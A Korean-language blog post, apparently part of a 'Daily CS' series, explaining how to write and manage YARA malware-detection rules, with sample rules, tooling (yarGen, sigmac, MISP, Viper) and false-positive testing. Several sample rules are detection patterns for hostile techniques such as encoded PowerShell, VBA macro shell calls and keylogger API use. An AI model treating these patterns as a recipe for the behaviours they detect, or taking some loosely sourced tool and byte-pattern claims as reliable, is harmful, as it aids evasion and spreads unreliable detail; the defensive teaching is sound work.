<h4 id="1-공격-도구기술-기반-룰-생성">1) 공격 도구/기술 기반 룰 생성</h4>
<ul>
<li><p>특정 APT 그룹이 사용하는 악성 도구, 또는 침투 시 사용되는 PowerShell 스크립트, 웹셸 패턴 등을 룰로 정의.</p>
</li>
<li><p>예: APT28의 <code>Sednit</code> 툴셋에 포함된 Dropper는 고정된 RC4 암호화 키를 사용하며, 특정 PE 섹션 이름을 통해 탐지 가능.</p>
</li>
</ul>
<pre><code class="language-yara">rule apt28_sednit_dropper
{
    strings:
        $rc4_key = { 89 45 FC 8B 45 FC 83 EC 04 }
        $section = &quot;SEDB&quot;

    condition:
        $rc4_key and $section
}</code></pre>
<h4 id="2-mitre-attck-전술-대응">2) MITRE ATT&amp;CK 전술 대응</h4>
<ul>
<li><p>T1059 (Command and Scripting Interpreter), T1027 (Obfuscated Files or Information) 등 특정 기법에 대한 룰 작성이 가능.</p>
</li>
<li><p>이는 EDR과 결합하여 행위 기반 탐지에서 정적 정황 보강 수단으로 활용된다.</p>
</li>
</ul>
<h3 id="53-이메일-첨부파일-분석과-룰-적용">5.3 이메일 첨부파일 분석과 룰 적용</h3>
<p>보안 실무에서 YARA는 악성 이메일 첨부파일(특히 Office 문서, PDF, JS/HTA 파일 등) 분석에 광범위하게 사용된다.</p>
<h4 id="1-매크로-기반-악성-문서-탐지">1) 매크로 기반 악성 문서 탐지</h4>
<ul>
<li><code>autoopen</code>, <code>Shell.Application</code>, <code>CreateObject</code> 등 VBA에서 자주 사용되는 악성 API 호출 문자열을 기반으로 룰을 작성한다.</li>
</ul>
<pre><code class="language-yara">rule office_macro_malware
{
    strings:
        $a = &quot;CreateObject&quot;
        $b = &quot;Shell.Application&quot;
        $c = &quot;autoopen&quot;
    condition:
        any of ($a, $b, $c) and filesize &lt; 2MB
}</code></pre>
<h4 id="2-피싱-메일-내-jshta-스크립트-탐지">2) 피싱 메일 내 JS/HTA 스크립트 탐지</h4>
<ul>
<li>자바스크립트 기반 다운로드/실행 루틴 (<code>WScript.Shell</code>, <code>run</code>, <code>XMLHttpRequest</code>)을 대상으로 룰을 구성한다.</li>
</ul>
<h4 id="3-자동화-분석-환경-연계">3) 자동화 분석 환경 연계</h4>
<ul>
<li>이메일 게이트웨이에서 수집된 첨부파일을 Sandbox 환경에서 자동으로 YARA 룰에 투입, 의심 파일 분류.</li>
</ul>
<h3 id="54-virustotal-및-threat-intelligence-feed와-연동">5.4 VirusTotal 및 Threat Intelligence Feed와 연동</h3>
<p>YARA는 위협 인텔리전스 생태계에서 중심적인 역할을 하며, 특히 대규모 악성코드 저장소 및 위협 피드와의 연계를 통해 위력을 발휘한다.</p>
<h4 id="1-virustotal의-yara-search-기능">1) VirusTotal의 YARA Search 기능</h4>
<ul>
<li>VirusTotal Intelligence 계정 보유 시, YARA 룰을 이용한 레트로 헌팅(Retro-Hunting) 가능.</li>
<li>수개월간 업로드된 샘플에 대해 룰을 적용, 해당 조건에 일치하는 과거 샘플들을 분석.</li>
</ul>
<pre><code class="language-yara">rule vt_retro_example {
    strings:
        $s1 = &quot;powershell -enc&quot;
    condition:
        $s1
}</code></pre>
<ul>
<li>해당 룰이 적용된 샘플의 해시, 업로드 국가, 최초 감지일 등을 기반으로 위협 추적 및 IOC 확장 가능.</li>
</ul>
<h4 id="2-misp-threatfox-등-ti-feed-연동">2) MISP, ThreatFox 등 TI Feed 연동</h4>
<ul>
<li>MISP에서 제공하는 YARA 포맷 IOC를 가져와 로컬 탐지에 활용 가능.</li>
<li>Abuse.ch의 ThreatFox 플랫폼은 사용자 커뮤니티 기반 YARA 룰 공유를 지원하며, 실시간 위협 탐지 룰 확보에 유용하다.</li>
</ul>
<hr>
<h2 id="6-yara-rule-작성-자동화-및-관리">6. YARA Rule 작성 자동화 및 관리</h2>
<h3 id="61-자동-룰-생성-도구-개요">6.1 자동 룰 생성 도구 개요</h3>
<p>자동화된 YARA 룰 생성을 지원하는 도구는 일반적으로 악성코드 샘플 분석을 통해 고유 패턴을 추출하고 이를 기반으로 YARA 문법에 맞는 룰을 자동 생성해주는 기능을 수행한다. 대표적인 도구는 다음과 같다:</p>
<h4 id="1-yargen">1) <code>yarGen</code></h4>
<ul>
<li>Florian Roth에 의해 개발된 자동화 YARA 룰 생성 도구.</li>
<li>PE 파일 내에서 의미 있는 문자열만을 선별하고, 화이트리스트를 기반으로 정상 문자열을 제외하여 FP(False Positive)를 최소화한다.</li>
<li>메타정보(작성자, 참조 링크, 룰 유형 등)를 자동 생성하며, <code>imphash</code>, <code>ssdeep</code> 등 해시 기반 조건도 포함 가능.</li>
</ul>
<pre><code class="language-bash">python yarGen.py -m /malware/samples/ -o generated_rules.yar</code></pre>
<ul>
<li><code>yarGen</code>은 <code>SIGMA</code>, <code>PEStudio</code>, <code>VirusTotal</code>, <code>NSRL</code> DB와의 통합도 지원한다.</li>
</ul>
<h4 id="2-yaramate--yarasignator">2) <code>YaraMate</code> / <code>YARASignator</code></h4>
<ul>
<li>GUI 기반의 자동 룰 생성기 (비교적 덜 널리 쓰이지만, 교육용이나 초심자에게 유용).</li>
<li>간단한 드래그&amp;드롭으로 PE 구조 기반 조건을 지정할 수 있음.</li>
</ul>
<h3 id="62-sigma-→-yara-변환">6.2 Sigma → YARA 변환</h3>
<p>Sigma는 SIEM을 위한 탐지 규칙의 표준화된 YAML 포맷이다. 이를 통해 다양한 보안 로그를 구조화하고, 다양한 포맷(Splunk, ELK, QRadar 등)으로 변환할 수 있다. Sigma는 YARA로의 변환도 가능하다.</p>
<h4 id="1-사용-도구-sigmac">1) 사용 도구: <code>sigmac</code></h4>
<ul>
<li><code>sigmac</code>는 Sigma 룰을 다양한 백엔드 포맷으로 변환해주는 도구.</li>
<li>기본적으로 YARA는 Sigma의 &quot;file content&quot; 분석 규칙을 기반으로 변환 가능하다</li>
</ul>
<pre><code class="language-bash">sigmac -t yara path/to/sigma_rule.yml &gt; output_rule.yar</code></pre>
<h4 id="2-주의사항">2) 주의사항</h4>
<ul>
<li>Sigma는 본래 로그 탐지 목적이기 때문에, YARA로 변환 시 단순 문자열 탐지에 머무는 경우가 많다.</li>
<li>따라서 수동으로 YARA용 조건(<code>condition</code>)을 조정해야 더욱 정밀한 룰이 된다.</li>
</ul>
<h3 id="63-misp-viper와의-연계">6.3 MISP, Viper와의 연계</h3>
<p>CTI 및 악성코드 관리 플랫폼과의 연계는 룰의 지속적 확장과 최신 위협 반영에 효과적이다.</p>
<h4 id="1-misp-malware-information-sharing-platform">1) MISP (Malware Information Sharing Platform)</h4>
<ul>
<li>MISP는 IOC 중심의 인텔리전스를 공유하는 오픈소스 Threat Intelligence 플랫폼이다.</li>
<li>YARA 룰 형태로 IOC를 추출할 수 있는 기능을 기본 지원하며, 연관 이벤트 또는 태그 기반으로 자동 생성 가능.</li>
</ul>
<pre><code class="language-bash"># MISP API 사용 예시 (YARA 추출)
https://&lt;misp-instance&gt;/events/restSearch/download/yara/eventid:&lt;event_id&gt;</code></pre>
<ul>
<li>자동화 스크립트를 통해 특정 태그(예: APT29, ransomware 등)가 붙은 IOC만 선별해 룰 생성 가능.</li>
</ul>
<h4 id="2-viper-framework">2) Viper Framework</h4>
<ul>
<li>Viper는 악성코드 샘플을 수집·분석·관리하는 오픈소스 프레임워크다.</li>
<li>샘플을 업로드하면 자동으로 YARA 룰 템플릿을 생성하고, PE 헤더 및 문자열 분석 결과를 조건으로 포함할 수 있음.</li>
<li>YARA와의 통합은 다음과 같은 방식으로 이뤄짐:</li>
</ul>
<pre><code class="language-bash">viper &gt; open &lt;sample&gt;
viper sample &gt; yara --generate</code></pre>
<p>분석 중인 샘플에서 고유한 문자열, 섹션 이름, 컴파일 타임 등을 기반으로 자동 룰 생성 가능.</p>
<h3 id="64-대규모-룰셋-관리-전략">6.4 대규모 룰셋 관리 전략</h3>
<p>YARA 룰은 개별적으로 활용할 수도 있지만, 실무에서는 수천 개의 룰셋을 지속적으로 관리하고 최적화해야 한다. 이에 따라 다음과 같은 관리 전략이 필요하다.</p>
<h4 id="1-룰셋-분류-및-저장소-구성">1) 룰셋 분류 및 저장소 구성</h4>
<ul>
<li><p>목적별로 룰을 카테고리화:</p>
<ul>
<li><code>malware_families/</code></li>
<li><code>apt_groups/</code></li>
<li><code>packer_detect/</code></li>
<li><code>document_exploits/</code></li>
</ul>
</li>
<li><p>Git을 기반으로 룰 버전 관리 수행.</p>
</li>
<li><p>유명 공개 저장소(Florian Roth’s signature base, rules from CERT-PL 등)와 로컬 저장소를 구분하여 운영.</p>
</li>
</ul>
<h4 id="2-룰-충돌-및-중복-탐지-방지">2) 룰 충돌 및 중복 탐지 방지</h4>
<ul>
<li>룰 간 조건 중복으로 인한 False Positive 또는 분석 누락 방지를 위해 자동화 스크립트를 사용해 정기 점검 필요.</li>
<li><code>yarac</code>를 사용한 룰 컴파일로 문법 오류 사전 점검:</li>
</ul>
<pre><code class="language-bash">yarac all_rules.yar compiled_rules.yarc</code></pre>
<h4 id="3-룰-성능-최적화">3) 룰 성능 최적화</h4>
<ul>
<li><code>condition</code> 문에서 <code>any of ($s*)</code>를 남용할 경우 검사 속도 저하 가능.</li>
<li>대용량 분석 환경에서는 <code>--fast-scan</code> 등 최적화 옵션 적용 고려.</li>
<li>상위 탐지율 룰과 우선순위 룰을 분리하여 효율적 운영 가능.</li>
</ul>
<h4 id="4-실시간-동기화-및-업데이트">4) 실시간 동기화 및 업데이트</h4>
<ul>
<li><p><code>cron</code>이나 CI/CD 파이프라인을 통해:</p>
<ul>
<li>외부 룰셋 정기 다운로드 (예: GitHub, MISP feed)</li>
<li><code>yarac</code>로 컴파일 후 탐지 엔진에 반영</li>
</ul>
</li>
<li><p>내부 룰 작성자들의 기여를 위한 리뷰/PR 체계 마련 필요</p>
</li>
</ul>
<hr>
<h2 id="7-고급-yara-기능과-확장성">7. 고급 YARA 기능과 확장성</h2>
<p>YARA는 단순한 문자열 기반 탐지를 넘어, 정형화된 바이너리 분석, 행위 기반 조건 구성, 그리고 외부 분석 도구와의 연동을 통해 매우 유연하고 강력한 규칙 기반 탐지 플랫폼으로 발전해왔다. 이번에는 외부 모듈(import)을 통한 확장 기능과, 특정 실행 파일 포맷에 특화된 분석 모듈, 그리고 최신 버전에서 제공되는 고급 기능(YARA-X 포함)에 대해 상세히 알아보자.</p>
<h3 id="71-외부-모듈import-사용-방법">7.1 외부 모듈(import) 사용 방법</h3>
<p>YARA는 특정 파일 포맷이나 기능에 대한 고급 분석을 위해 외부 모듈(External Modules)을 <code>import</code> 지시어를 통해 활용할 수 있다. 이는 rule 내에서 일반 문자열 탐지를 넘어 다양한 메타데이터 기반 조건을 구성할 수 있게 해준다.</p>
<h4 id="1-사용-구문">1) 사용 구문</h4>
<pre><code class="language-yara">import &quot;pe&quot;

rule check_packer {
    condition:
        pe.number_of_sections &gt; 5 and
        pe.overlay.offset &gt; 0
}</code></pre>
<h4 id="2-주요-내장-모듈">2) 주요 내장 모듈</h4>
<table>
<thead>
<tr>
<th>모듈 이름</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td><code>pe</code></td>
<td>PE(Portable Executable) 형식 분석</td>
</tr>
<tr>
<td><code>elf</code></td>
<td>ELF(Executable and Linkable Format) 형식 분석</td>
</tr>
<tr>
<td><code>cuckoo</code></td>
<td>Cuckoo 샌드박스 동적 분석 결과 활용</td>
</tr>
<tr>
<td><code>math</code></td>
<td>수학 함수 제공 (e.g., 평균값, 분산 등)</td>
</tr>
<tr>
<td><code>hash</code></td>
<td>MD5, SHA1, SHA256 등 해시 계산</td>
</tr>
<tr>
<td><code>dex</code></td>
<td>Android DEX 파일 분석</td>
</tr>
<tr>
<td><code>dotnet</code></td>
<td>.NET 메타데이터 분석</td>
</tr>
</tbody></table>
<h4 id="3-import-주의사항">3) import 주의사항</h4>
<ul>
<li>사용하지 않은 모듈을 import하면 YARA가 경고 또는 오류를 반환할 수 있음.</li>
<li>모듈 사용은 시스템에 해당 기능이 포함된 YARA 빌드 또는 플러그인이 필요하다.</li>
<li>일부 모듈(<code>cuckoo</code>, <code>dotnet</code> 등)은 기본 빌드에는 포함되지 않으며 수동 컴파일 또는 특정 패키지 설치가 요구된다.</li>
</ul>
<h3 id="72-pe-elf-cuckoo-모듈-분석">7.2 PE, ELF, Cuckoo 모듈 분석</h3>
<h4 id="1-pe-모듈">1) <code>pe</code> 모듈</h4>
<p>PE 모듈은 Windows 실행 파일 구조를 기반으로 탐지 조건을 구성할 수 있도록 한다. 주요 필드는 다음과 같다:</p>
<ul>
<li><code>pe.sections[n].name</code>, <code>pe.sections[n].entropy</code>, <code>pe.sections[n].size</code></li>
<li><code>pe.number_of_sections</code>, <code>pe.imports(&quot;KERNEL32.dll&quot;, &quot;CreateFileA&quot;)</code></li>
<li><code>pe.overlay.offset</code>, <code>pe.signature</code></li>
</ul>
<p>예시: 패커 사용 여부 탐지</p>
<pre><code class="language-yara">import &quot;pe&quot;

rule packed_file {
    condition:
        pe.sections[0].entropy &gt; 7.0 or
        pe.overlay.offset &gt; 0
}</code></pre>
<h4 id="2-elf-모듈">2) <code>elf</code> 모듈</h4>
<p>ELF 모듈은 Linux/Unix 시스템에서 사용되는 ELF 바이너리를 분석한다. 제공 기능은 다음과 같다:</p>
<ul>
<li><code>elf.segments[n].type</code>, <code>elf.sections[n].name</code>, <code>elf.machine</code></li>
<li><code>elf.entry_point</code>, <code>elf.is_64</code></li>
</ul>
<p>예시: 64비트 ELF 실행 파일 탐지</p>
<pre><code class="language-yara">import &quot;elf&quot;

rule detect_64bit_elf {
    condition:
        elf.is_64 and elf.entry_point &gt; 0x400000
}</code></pre>
<h4 id="3-cuckoo-모듈">3) <code>cuckoo</code> 모듈</h4>
<p>Cuckoo는 동적 분석 시스템으로, YARA는 해당 분석 결과를 조건으로 사용할 수 있다.</p>
<pre><code class="language-yara">import &quot;cuckoo&quot;

rule keylogger_behavior {
    condition:
        cuckoo.network.http.count &gt; 10 and
        cuckoo.behavior.api(&quot;GetAsyncKeyState&quot;)
}</code></pre>
<ul>
<li>주로 APT 행위 탐지, 샘플 분류, 행위 기반 룰 작성에 활용됨.</li>
<li>Cuckoo 환경에서 사전 정의된 JSON 분석 결과가 필요하며, 일반 YARA 환경에서는 작동하지 않음.</li>
</ul>
<h3 id="73-yara-x-및-yara-v4의-고급-기능-소개">7.3 YARA-X 및 YARA v4의 고급 기능 소개</h3>
<p>YARA-X는 2023년 발표된 차세대 YARA 구현체로, <strong>Rust 기반</strong>으로 개발되었으며 속도, 안정성, 확장성에서 기존 Python-C 기반 YARA보다 뛰어난 성능을 보인다. 또한 YARA 4.x 버전에서도 많은 고급 기능이 도입되었다.</p>
<h4 id="1-yara-x의-주요-특징">1) YARA-X의 주요 특징</h4>
<ul>
<li>Rust로 재작성되어 메모리 안정성과 실행 속도 개선</li>
<li>멀티스레드 지원을 통한 대량 파일 병렬 분석</li>
<li>Python 바인딩이 없이도 가볍게 독립 실행 가능</li>
<li>WASM 환경 지원 가능 (향후 클라우드 분석 플랫폼과 통합 기대)</li>
</ul>
<pre><code class="language-bash">yara-x rule.yar /path/to/samples/</code></pre>
<h4 id="2-고급-조건-구문-yara-4x-이상">2) 고급 조건 구문 (YARA 4.x 이상)</h4>
<ul>
<li><code>for ... of ...</code> 표현의 향상된 범위 지정</li>
<li>모듈 내 서브 필드 필터링 (e.g., <code>pe.sections[i]</code>)</li>
<li>64비트 정수 및 부동소수점 계산 지원</li>
<li>컨텍스트 매칭 조건: 문자열 위치 기반 제어 가능</li>
</ul>
<pre><code class="language-yara">rule complex_check {
    strings:
        $a = &quot;This program cannot be run&quot;
        $b = { E8 ?? ?? ?? ?? 83 C4 04 }
    condition:
        $a at entrypoint + 100 and
        for any i in (0..pe.number_of_sections - 1) :
            ( pe.sections[i].name == &quot;.text&quot; and pe.sections[i].entropy &gt; 6.5 )
}</code></pre>
<h4 id="3-향후-확장성-커스텀-모듈-작성">3) 향후 확장성: 커스텀 모듈 작성</h4>
<ul>
<li>YARA는 C로 작성된 사용자 정의 모듈(custom module)을 통해 분석 기능을 확장할 수 있다.</li>
<li>예: 전용 악성코드의 커스텀 포맷 파서 작성, 내부 기업 프로토콜에 대한 모듈화 등</li>
</ul>
<hr>
<h2 id="8-오탐누락-탐지-문제와-대응-방안">8. 오탐/누락 탐지 문제와 대응 방안</h2>
<p>YARA 기반 탐지에서 가장 빈번하게 직면하는 문제는 <strong>오탐(False Positive)</strong> 및 <strong>누락(False Negative)</strong> 이다. 탐지율을 높이려다 보면 무해한 파일도 악성으로 판단하게 되고, 반대로 너무 엄격하게 조건을 구성하면 악성코드를 놓칠 수 있다. 이러한 문제는 탐지 룰셋의 신뢰성과 실용성을 직접적으로 좌우하며, 보안 운영 환경에서의 실효성 확보에 있어 반드시 해결해야 할 핵심 과제이다.</p>
<h3 id="81-탐지-성능-테스트-방법">8.1 탐지 성능 테스트 방법</h3>
<p>YARA 룰의 탐지력을 객관적으로 평가하기 위해서는 실제 또는 유사 환경에서 다음과 같은 절차로 테스트를 수행해야 한다.</p>
<h4 id="1-테스트-샘플-구성">1) 테스트 샘플 구성</h4>
<table>
<thead>
<tr>
<th>유형</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td><strong>악성 샘플(Malicious)</strong></td>
<td>실제 수집된 악성코드 바이너리 (ex. VirusShare, MalwareBazaar 등)</td>
</tr>
<tr>
<td><strong>정상 샘플(Benign)</strong></td>
<td>운영체제 파일, 상용 프로그램, 오픈소스 바이너리 등</td>
</tr>
<tr>
<td><strong>회피 샘플(Evasive)</strong></td>
<td>코드 난독화, 패커 등으로 위장된 악성코드</td>
</tr>
</tbody></table>
<blockquote>
<p>Tip: 샘플을 분류할 때, 확실한 레이블링(ground truth)을 확보한 데이터셋을 활용해야 한다. 가능하다면 VirusTotal이나 샌드박스 분석 결과 기반의 정량 평가가 바람직하다.</p>
</blockquote>
<h4 id="2-평가-지표">2) 평가 지표</h4>
<table>
<thead>
<tr>
<th>지표</th>
<th>계산 방법</th>
<th>의미</th>
</tr>
</thead>
<tbody><tr>
<td><strong>TP (True Positive)</strong></td>
<td>악성 샘플을 정확히 탐지한 수</td>
<td>탐지 성공</td>
</tr>
<tr>
<td><strong>FP (False Positive)</strong></td>
<td>정상 샘플을 악성으로 잘못 탐지한 수</td>
<td>오탐</td>
</tr>
<tr>
<td><strong>TN (True Negative)</strong></td>
<td>정상 샘플을 정상으로 판단한 수</td>
<td>탐지 회피 성공</td>
</tr>
<tr>
<td><strong>FN (False Negative)</strong></td>
<td>악성 샘플을 탐지하지 못한 수</td>
<td>탐지 누락</td>
</tr>
</tbody></table>
<ul>
<li>이를 기반으로 정확도, 정밀도, 재현율을 산출하여 룰셋의 성능을 수치화할 수 있다.</li>
</ul>
<h3 id="82-오탐fp-원인-분석과-개선">8.2 오탐(FP) 원인 분석과 개선</h3>
<p>오탐은 실무에서 가장 빈번하고 치명적인 문제다. 오탐률이 높으면 <strong>보안팀의 피로도 증가</strong>, <strong>자동 대응 시스템의 오류</strong>, <strong>정상 파일 차단 등 운영 장애</strong>로 이어질 수 있다.</p>
<h4 id="1-주요-원인">1) 주요 원인</h4>
<table>
<thead>
<tr>
<th>원인</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td><strong>너무 일반적인 문자열</strong></td>
<td>단순 API 호출, 자주 쓰이는 문자열 (<code>&quot;This program cannot be run&quot;</code>, <code>&quot;WinExec&quot;</code>)</td>
</tr>
<tr>
<td><strong>상용 소프트웨어 패턴과 유사</strong></td>
<td>Visual Studio, UPX, InstallShield 등도 악성코드와 유사한 구조 가짐</td>
</tr>
<tr>
<td><strong>정규식/HEX 표현의 과도한 범용성</strong></td>
<td>너무 넓은 범위로 설정된 패턴 (<code>{ 6A ?? 68 ?? ?? ?? ?? E8 }</code>)</td>
</tr>
<tr>
<td><strong>루틴 메타정보 기반 탐지</strong></td>
<td>타깃 악성코드의 컴파일러/링커 정보가 정식 툴체인과 동일할 수 있음</td>
</tr>
</tbody></table>
<h4 id="2-개선-전략">2) 개선 전략</h4>
<ul>
<li><strong>문자열에 context 조건 추가</strong>: 단순히 존재 여부가 아닌 &quot;어디에 위치하냐&quot;를 고려  <ul>
<li>예) <code>string $a = &quot;winexec&quot;</code> → <code>$a at entrypoint + 200</code></li>
</ul>
</li>
<li><strong>메타정보 활용</strong>: 파일 크기, 섹션 수, 해시값 등과 함께 다중 조건 구성</li>
<li><strong>화이트리스트 적용</strong>: 정상 소프트웨어에 해당하는 해시 또는 특징을 사전 제외</li>
<li><strong>리눅스/Windows/IoT 등 플랫폼 구분 적용</strong>: 동일 룰셋을 다중 OS에 적용하지 않도록 분리</li>
</ul>
<h3 id="83-룰셋-품질-향상을-위한-테스트-전략">8.3 룰셋 품질 향상을 위한 테스트 전략</h3>
<p>룰셋은 단일 룰의 조합이 아니라, <strong>전체 구성의 상호 보완성</strong>, <strong>효율성</strong>, <strong>유지보수 용이성</strong>까지 고려되어야 한다. 다음은 실질적인 품질 향상 방안이다.</p>
<h4 id="1-ci-기반-정적-검증-자동화">1) CI 기반 정적 검증 자동화</h4>
<ul>
<li>룰 문법 체크: <code>yara --syntax-check rules/</code></li>
<li>샘플 테스트 자동화: GitHub Actions, GitLab CI 등의 CI/CD 파이프라인 활용</li>
</ul>
<pre><code class="language-bash">for f in samples/malicious/*; do
    yara rules/index.yar &quot;$f&quot; &gt;&gt; result.log
done</code></pre>
<h4 id="2-버전-관리-전략">2) 버전 관리 전략</h4>
<ul>
<li>룰셋을 Git 등으로 형상관리</li>
<li>커밋별로 변경 이력, 룰의 목적, 테스트 결과를 명시</li>
</ul>
<h4 id="3-전용-툴-활용">3) 전용 툴 활용</h4>
<table>
<thead>
<tr>
<th>도구</th>
<th>역할</th>
</tr>
</thead>
<tbody><tr>
<td><strong>yarGen</strong></td>
<td>악성코드 샘플에서 자동 룰 추출</td>
</tr>
<tr>
<td><strong>yarAnalyzer</strong></td>
<td>룰셋 내 중복, 무효, 충돌 조건 탐지</td>
</tr>
<tr>
<td><strong>vigrid</strong></td>
<td>YARA 룰의 검증 자동화 및 결과 리포팅 지원 도구</td>
</tr>
</tbody></table>
<h4 id="4-운영-환경-내-테스트-staging">4) 운영 환경 내 테스트 (Staging)</h4>
<ul>
<li>운영에 투입되기 전, 실제에 가까운 환경에서 샘플 실행 테스트</li>
<li>오탐 발생 시 즉시 알림 및 룰 수정 프로세스 구성</li>
</ul>
<hr>
<h2 id="9-실무에서-자주-쓰이는-공개-룰셋-및-활용법">9. 실무에서 자주 쓰이는 공개 룰셋 및 활용법</h2>
<p>YARA는 고도로 유연한 탐지 엔진인 만큼, <strong>정교하고 실전에서 검증된 룰셋</strong>을 활용하는 것이 분석의 정확도와 효율성을 크게 높이는 핵심이다. 실무에서는 개별 보안팀이 자체 룰을 작성하기보다는, <strong>공개된 룰셋을 기반으로 커스터마이징</strong>하거나, <strong>신뢰도 높은 소스의 룰을 참고하여 악성코드 탐지 체계를 수립</strong>하는 경우가 많다고 한다.</p>
<h3 id="91-florian-roth의-signature-룰셋">9.1 Florian Roth의 Signature 룰셋</h3>
<p>Florian Roth는 <strong>실전 위협 인텔리전스와 악성코드 탐지 분야에서 가장 활발히 활동 중인 보안 전문가</strong> 중 한 명으로, <code>Sigma</code>, <code>yarGen</code>, <code>Loki</code>, <code>Thor</code> 등의 탐지 도구 개발자로도 유명하다.</p>
<h4 id="1-signature-기반-yara-룰셋">1) Signature 기반 YARA 룰셋</h4>
<ul>
<li>GitHub 저장소: <a href="https://github.com/Neo23x0/signature-base">https://github.com/Neo23x0/signature-base</a></li>
<li>구성: <code>yara/</code> 디렉토리 하위에 수천 개의 <code>.yar</code> 파일이 존재하며, <code>APT</code>, <code>RAT</code>, <code>Ransomware</code>, <code>Tool</code>, <code>Webshell</code>, <code>Document Exploit</code> 등으로 분류됨.</li>
<li>업데이트 주기: 주 단위로 활발히 갱신됨</li>
</ul>
<h4 id="2-활용-방법">2) 활용 방법</h4>
<pre><code class="language-bash"># 저장소 전체 클론
git clone https://github.com/Neo23x0/signature-base.git
cd signature-base/yara/

# 특정 디렉토리 전체 탐지
yara -r index.yar /path/to/scan/</code></pre>
<h4 id="3-실무-적용-포인트">3) 실무 적용 포인트</h4>
<ul>
<li>대부분의 룰에 <code>meta</code>와 <code>description</code>, <code>reference</code> 필드가 잘 정리되어 있어 관리가 편리함</li>
<li><code>yarGen</code>을 통해 자동 생성된 룰 외에도 핸드메이드 고급 룰이 다수 포함</li>
<li>초보자에게는 과한 탐지일 수 있으므로, 목적에 따라 필요한 하위 디렉토리만 선택 적용하는 것이 좋음</li>
</ul>
<h3 id="92-alienvault-fireeye-등에서-제공하는-룰">9.2 AlienVault, FireEye 등에서 제공하는 룰</h3>
<p>보안 벤더 및 인텔리전스 기업들도 자사 분석 리포트와 함께 YARA 룰을 공개하는 경우가 있다. 다음은 자주 인용되는 주요 출처다.</p>
<h4 id="1-alienvault-otx-open-threat-exchange">1) AlienVault OTX (Open Threat Exchange)</h4>
<ul>
<li>웹사이트: <a href="https://otx.alienvault.com">https://otx.alienvault.com</a></li>
<li>Threat Pulse, Pulse 상세 페이지에서 관련 YARA 룰 제공</li>
<li>OSINT 기반 Threat Intelligence 데이터와 연동 가능</li>
<li>API를 통해 자동 수집도 가능</li>
</ul>
<h4 id="2-mandiant-구-fireeye">2) Mandiant (구 FireEye)</h4>
<ul>
<li>APT, 랜섬웨어 분석 리포트 내에 YARA 룰이 첨부되어 있음</li>
<li>대표적인 예: APT29, FIN7, UNC2452 등 Mandiant Threat Report</li>
<li>매우 고도화된 타겟팅 기반 룰 제공 (단순 문자열 기반 룰보다 복합적 조건 활용이 많음)</li>
</ul>
<h4 id="3-다른-출처">3) 다른 출처</h4>
<table>
<thead>
<tr>
<th>벤더/기관</th>
<th>특징</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Cisco Talos</strong></td>
<td>Threat Advisory와 함께 제공되는 정제된 룰셋</td>
</tr>
<tr>
<td><strong>CrowdStrike</strong></td>
<td>블로그 및 리포트 내에서 공격자별 탐지 룰 공유</td>
</tr>
<tr>
<td><strong>Kaspersky GReAT</strong></td>
<td>특정 악성코드 캠페인에 대한 YARA 룰 공개 (APT, Bootkit 등)</td>
</tr>
<tr>
<td><strong>CERT Polska</strong></td>
<td>구조 기반 정밀 룰을 포함한 GitHub 저장소 운영</td>
</tr>
</tbody></table>
<blockquote>
<p>Tips: 이들 룰은 즉시 사용보다는 참고용으로 활용되며, 환경에 맞게 조건을 수정하거나 샘플 분석 후 커스터마이징하여 적용하는 것이 일반적이다.</p>
</blockquote>
<h3 id="93-github-기반-yara-rule-저장소-정리">9.3 GitHub 기반 YARA Rule 저장소 정리</h3>
<p>많은 연구자, 기관, 오픈소스 커뮤니티들이 GitHub를 통해 YARA 룰셋을 공유하고 있으며, 실무에서 매우 유용한 참고 자료가 된다. 다음은 대표적인 GitHub 기반 저장소 목록이다.</p>
<h4 id="1-yara-rules-프로젝트-community-기반">1) <code>YARA-Rules</code> 프로젝트 (community 기반)</h4>
<ul>
<li>GitHub: <a href="https://github.com/Yara-Rules/rules">https://github.com/Yara-Rules/rules</a></li>
<li>다양한 악성코드와 공격 벡터를 포괄하는 룰셋 집합</li>
<li>문서화가 다소 부족하나, 룰 이름과 조건으로 용도를 유추 가능</li>
<li>일부 룰은 지속적으로 업데이트되지 않음 → 직접 테스트 후 적용 필요</li>
</ul>
<h4 id="2-thehive-projectyara">2) <code>TheHive-Project/yara</code></h4>
<ul>
<li><a href="https://github.com/TheHive-Project/yara">https://github.com/TheHive-Project/yara</a></li>
<li><code>TheHive</code> 및 <code>Cortex</code> 분석 환경과 함께 사용할 수 있는 룰셋 제공</li>
<li>다양한 유형의 이메일 위협, 문서 기반 악성코드 등 탐지에 유용</li>
<li>지금은 Repository가 지워졌거나 private으로 설정된 것으로 보임</li>
</ul>
<h4 id="3-기타-참고할-만한-github-저장소">3) 기타 참고할 만한 GitHub 저장소</h4>
<table>
<thead>
<tr>
<th>저장소</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td><code>Sentinel-One/yara-toolkit</code></td>
<td>정규식 및 문자열 추출 자동화 도구 포함</td>
</tr>
<tr>
<td><code>rule-hub</code></td>
<td>다양한 기여자들이 업로드한 범용 룰셋 모음</td>
</tr>
<tr>
<td><code>stvemillertime/malware_yara_rules</code></td>
<td>학습용으로 구성된 다양한 예제 룰</td>
</tr>
</tbody></table>
<hr>
<h2 id="10-마무리">10. 마무리</h2>
<p>집안일이 겹쳐 다소 일정이 늘어진 것도 있지만, 새로이 공부할 것들이 굉장히 많아 조사, 정리에 시간을 엄청 써버린 주제였다. Daily CS 최초로 3일에 걸쳐서 작성한 글인데, 솔직히 말하자면 아직도 완벽히 학습했다고 보기 힘든 것 같다. 아무래도 조만간 악성코드 분석 프로젝트에 겸해서 YARA Rule을 활용해볼 수 있는 활동을 조금 넣어봐야겠다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Daily CS) CTI]]></title>
            <link>https://velog.io/@lilac_21/Daily-CS-CTI</link>
            <guid>https://velog.io/@lilac_21/Daily-CS-CTI</guid>
            <pubDate>Sat, 19 Apr 2025 07:03:23 GMT</pubDate>
            <description><![CDATA[<h1 id="cti">CTI</h1>
<blockquote>
<p>Cyber Threat Intelligence</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/590589bf-4f80-4c51-803a-709eb1bc69d3/image.png" alt=""></p>
